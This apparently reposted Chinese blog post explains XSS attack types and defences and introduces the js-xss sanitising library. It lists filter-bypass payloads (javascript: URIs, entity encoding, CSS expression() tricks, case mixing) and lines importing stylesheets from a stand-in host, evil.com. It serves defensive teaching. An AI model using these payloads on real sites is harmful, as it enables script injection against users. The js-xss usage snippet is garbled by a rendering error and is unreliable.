关于前端js被攻击类型和解决方法

有的时候页面中会有一个输入框,如果用户输入了一段js脚本

例:

页面会弹出一个对话框,或者输入的脚本中有改变页面js变量的代码则会时程序异常或者达到跳过某种验证的目的。那如何防止这种恶意的js脚本攻击呢?接下来我们将要介绍一下都有哪几种攻击方法和解决方案:

XSS

【Cross Site Script】跨站脚本攻击
恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
1、Reflected XSS
基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起Web攻击。Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中。
通过url的输入,将恶意脚本附加到URL地址的参数中。能够弹出一个警告框,说明跨站脚本攻击漏洞存在。特点:单击时触发,执行一次。
2、Stored XSS
该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞,骇客将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。
3、DOM-based XSS
本地利用漏洞,这种漏洞存在于页面中客户端脚本自身。

         针对防御措施:
         
         1.对所有用户提交内容进行可靠的输入验证,包括对URL、查询关键字、HTTP头、POST数据等,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其他的一律过滤。
        2. 实现Session标记(session tokens)、CAPTCHA系统或者HTTP引用头检查,以防功能被第三方网站所执行。
        3. 确认接收的的内容被妥善的规范化,仅包含最小的、安全的Tag(没有javascript),去掉任何对远程内容的引用(尤其是样式表和javascript),使用HTTP only的cookie。
        4. 使用HTTPS
        
        当然,如上操作将会降低Web业务系统的可用性,用户仅能输入少量的制定字符,人与系统间的交互被降到极致,仅适用于信息发布型站点。

4.绕过绕过xss Filter
1、利用<>标记注射HTML/js
解决:过滤和转义<>或

      2、利用HTML标签属性值执行xss
      <table background="javascript:alert(/xss/)"></table
       解决:过滤JavaScript等关键字。
       
       3、空格回车Tab
       利用空车、回车和Tab键绕过限制,![](javas cript:alert(/xss/))
       
       4、对标签属性值转码

       HTML属性值支持ASCII形式,![](javascrip&#116&#58alert(/xss/);)
       解决:最好也过滤&#\等字符。
       
       5、产生自己的事件

      ![](#),只要图片不存在就会触发onerror事件
      
      6、利用css跨站剖析

     使用css样式表执行javascript具有隐蔽、灵活多变的特点
     <div style="background-image:url(javascript:alert('xss')">
     <style>
    <body {background-image:url("javascript:alert('xss')");}
  </style>

 使用link或import引用css<link rel="stylesheet" href="http://www.evil.com/attack.css">
 p {background-image: expression(alert("xss"));}
<style type='text/css'>@import url(http://www.evil.com/xss.css);</style>
 解决:禁用style标签,过滤标签时过滤style属性,过滤含expression、import等敏感字符的样式表

   7、扰乱过滤规则
   大小写混淆,不使用引号<iMg sRC="jaVasCript:alert(0);">
   全角字符<div style="{left: expression(alert(0))}">
  /**/会被浏览器忽略 <div style="wid/****/th: expre/*XSS*/ssion(alert('xss'));">
\和\0 被浏览器忽略@\0im\port'\0ja\vasc\ript:alert("xss");
e转换成\65 <p style="xss:\65xpression(alert(/xss/))">

前端防御组件:js-xss
js-xss是一个用于对用户输入的内容进行过滤,以避免遭受XSS攻击的模块,一般是基于黑白名单的安全过滤策略。

特性
(1)白名单控制允许的HTML标签及各标签的属性
(2)通过自定义处理函数,可对任意标签及其属性进行处理

安装

NPM

$ npm install xss

使用方法

在node.js中使用

const xss = require(‘xss’);
KaTeX parse error: Expected '}', got 'EOF' at end of input: …t result = xss((’.input’).val());
putout.html(result);
});

在这里插入图片描述
自定义过滤规则

 通过 whiteList 来指定,格式为:{'标签名': ['属性1', '属性2']} 。不在白名单上 的标签将被过滤,不在白名单上的属性也会被过滤。以下是示例:

在这里插入图片描述
在这里插入图片描述
自定义CSS过滤器

 如果配置中允许了标签的 style属性,则它的值会通过cssfilter 模块处理。cssfilter 模块包含了一个默认的CSS白名单,你可以通过以下的方式配置:

在这里插入图片描述
去掉不在白名单上的标签

     通过stripIgnoreTag来设置:

在这里插入图片描述
结果:
code:过滤为code:alert(‘问吧’);

去掉不在白名单上的标签及标签体

  通过stripIgnoreTagBody来设置:

在这里插入图片描述
结果:
code:过滤为code:
以上就是总结js被攻击的解决办法,有什么好的建议欢迎提出。

猜你喜欢

转载自blog.csdn.net/weixin_43288237/article/details/82872959